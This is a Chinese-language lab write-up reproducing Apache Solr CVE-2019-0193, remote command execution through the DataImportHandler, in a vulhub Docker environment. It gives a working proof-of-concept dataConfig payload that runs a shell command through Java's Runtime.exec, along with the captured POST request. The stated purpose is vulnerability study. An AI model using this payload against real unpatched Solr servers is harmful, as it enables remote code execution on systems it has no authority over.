0x01,漏洞背景
Apache Solr 是一个开源的搜索服务器。Solr使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。
影响范围:Apache Solr < 8.2.0
Apache Solr < 8.2.0 并且开启了DataImportHandler模块,在默认情况下该模块不被启用,存在该漏洞。但是Solr>=8.2.0版安全。因为从Solr>=8.2.0版开始,默认不可使用dataConfig参数,想使用此参数需要将JavaSystem属性“enable.dih.dataConfigParam”设置为true。只有当Solr>=8.2.0但是主动将Java System属性“enable.dih.dataConfigParam”设置为true,才存在漏洞。
0x02,环境搭建
环境下载:https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193
Apachesolr路径下docker-compose.yml文件
docker-composeup -d
docker-composeexec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
0x03,漏洞利用
如上图所示,首先打开刚刚创建好的test
核心,选择Dataimport功能并选择debug模式,填入以下POC:
填入poc
代码语言:javascript复制<dataConfig>
代码语言:javascript复制 <dataSource type="URLDataSource"/>
代码语言:javascript复制 <script><![CDATA[
代码语言:javascript复制 function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
代码语言:javascript复制 }
代码语言:javascript复制 ]]></script>
代码语言:javascript复制 <document>
代码语言:javascript复制 <entity name="stackoverflow"
代码语言:javascript复制 url="https://stackoverflow.com/feeds/tag/solr"
代码语言:javascript复制 processor="XPathEntityProcessor"
代码语言:javascript复制 forEach="/feed"
代码语言:javascript复制 transformer="script:poc" />
代码语言:javascript复制 </document>
代码语言:javascript复制</dataConfig>
点击Executewith this Confuguration
会发送以下请求包:
在抓包发包之前我们查看服务器的/tmp文件夹
通过抓包可以发现
代码语言:javascript复制POST /solr/test/dataimport?_=1565835261600&indent=on&wt=json HTTP/1.1
代码语言:javascript复制Host: localhost:8983
代码语言:javascript复制User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
代码语言:javascript复制Accept: application/json, text/plain, */*
代码语言:javascript复制Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
代码语言:javascript复制Accept-Encoding: gzip, deflate
代码语言:javascript复制Content-type: application/x-www-form-urlencoded
代码语言:javascript复制X-Requested-With: XMLHttpRequest
代码语言:javascript复制Content-Length: 679
代码语言:javascript复制Connection: close
代码语言:javascript复制Referer: http://localhost:8983/solr/
代码语言:javascript复制Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf06z6xodulpohpr
代码语言:javascript复制
代码语言:javascript复制command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=
&name=dataimport
执行docker-composeexec solr ls /tmp
,可见/tmp/success
已成功创建
参考文章:
https://xz.aliyun.com/t/5965
https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193